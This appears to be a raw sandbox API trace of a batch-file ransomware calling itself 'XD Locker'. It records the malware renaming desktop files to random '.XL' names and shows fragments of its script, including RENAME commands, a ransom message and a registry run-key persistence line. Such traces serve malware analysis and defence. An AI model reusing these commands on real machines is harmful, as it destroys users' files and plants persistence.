lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0038.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rutn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rutn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1037.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1037.xl")) returned 1 [0038.507] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8535c070, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x7858b270, ftLastAccessTime.dwHighDateTime=0x1d5db90, ftLastWriteTime.dwLowDateTime=0x7858b270, ftLastWriteTime.dwHighDateTime=0x1d5db90, nFileSizeHigh=0x0, nFileSizeLow=0x127cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQgkXBIV9.png", cAlternateFileName="")) returned 1 [0038.507] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xQgkXBIV9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xqgkxbiv9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1037.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1037.xl")) returned 0 [0038.508] GetLastError () returned 0xb7 [0038.508] _get_osfhandle (_FileHandle=2) returned 0xb [0038.508] GetFileType (hFile=0xb) returned 0x2 [0038.508] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0038.508] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0038.508] _get_osfhandle (_FileHandle=2) returned 0xb [0038.508] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0038.508] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.508] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0038.509] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0038.509] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8535c070, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x7858b270, ftLastAccessTime.dwHighDateTime=0x1d5db90, ftLastWriteTime.dwLowDateTime=0x7858b270, ftLastWriteTime.dwHighDateTime=0x1d5db90, nFileSizeHigh=0x0, nFileSizeLow=0x127cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQgkXBIV9.png", cAlternateFileName="")) returned 0 [0038.509] GetLastError () returned 0x12 [0038.509] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0038.509] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.509] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.510] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.510] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.510] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.510] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.510] SetConsoleInputExeNameW () returned 0x1 [0038.510] GetConsoleOutputCP () returned 0x1b5 [0038.510] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.510] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.510] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.510] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.510] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.510] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.511] GetProcessHeap () returned 0x4e0000 [0038.511] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0038.511] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11b4, lpOverlapped=0x0) returned 1 [0038.511] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0038.511] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0038.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.511] GetFileType (hFile=0x74) returned 0x1 [0038.511] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.512] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0038.512] GetProcessHeap () returned 0x4e0000 [0038.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.512] GetProcessHeap () returned 0x4e0000 [0038.512] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.512] GetProcessHeap () returned 0x4e0000 [0038.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0038.512] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.512] _tell (_FileHandle=3) returned 5252 [0038.512] _close (_FileHandle=3) returned 0 [0038.512] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0038.512] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0038.512] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0038.512] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0038.512] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0038.512] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0038.513] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0038.513] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0038.513] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0038.513] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0038.513] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0038.513] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0038.513] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0038.513] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0038.513] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0038.513] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0038.513] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0038.513] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0038.513] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0038.513] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0038.513] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0038.513] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.513] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.513] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0038.513] GetProcessHeap () returned 0x4e0000 [0038.513] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0038.513] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0038.513] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.513] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.513] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.513] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] GetFileType (hFile=0x74) returned 0x1 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0038.514] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=5254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0038.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] GetFileType (hFile=0x74) returned 0x1 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0038.514] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=5260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0038.514] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\n 1037.XL") returned 6 [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0038.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.514] GetFileType (hFile=0x74) returned 0x1 [0038.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0038.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=5262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0038.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0038.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0038.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.515] GetFileType (hFile=0x74) returned 0x1 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0038.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=5288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0038.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0038.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0038.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.515] GetFileType (hFile=0x74) returned 0x1 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0038.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=5299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0038.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0038.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.516] GetFileType (hFile=0x74) returned 0x1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0038.516] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=5301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0038.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.516] GetFileType (hFile=0x74) returned 0x1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0038.516] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=5308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0038.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.516] GetFileType (hFile=0x74) returned 0x1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0038.516] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=5310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0038.516] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0038.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0038.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] GetFileType (hFile=0x74) returned 0x1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0038.517] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=5337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0038.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0038.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0038.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] GetFileType (hFile=0x74) returned 0x1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0038.517] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=5348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0038.517] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0038.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0038.517] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.517] GetFileType (hFile=0x74) returned 0x1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0038.517] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.517] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0038.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l2\r\nLock\r\n") returned 5 [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] GetFileType (hFile=0x74) returned 0x1 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0038.518] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0038.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="msg * Ooops your file have been encryoted by XD Locker\r\nve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 56 [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] GetFileType (hFile=0x74) returned 0x1 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0038.518] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0038.518] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="color 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 10 [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0038.518] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.518] GetFileType (hFile=0x74) returned 0x1 [0038.518] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b 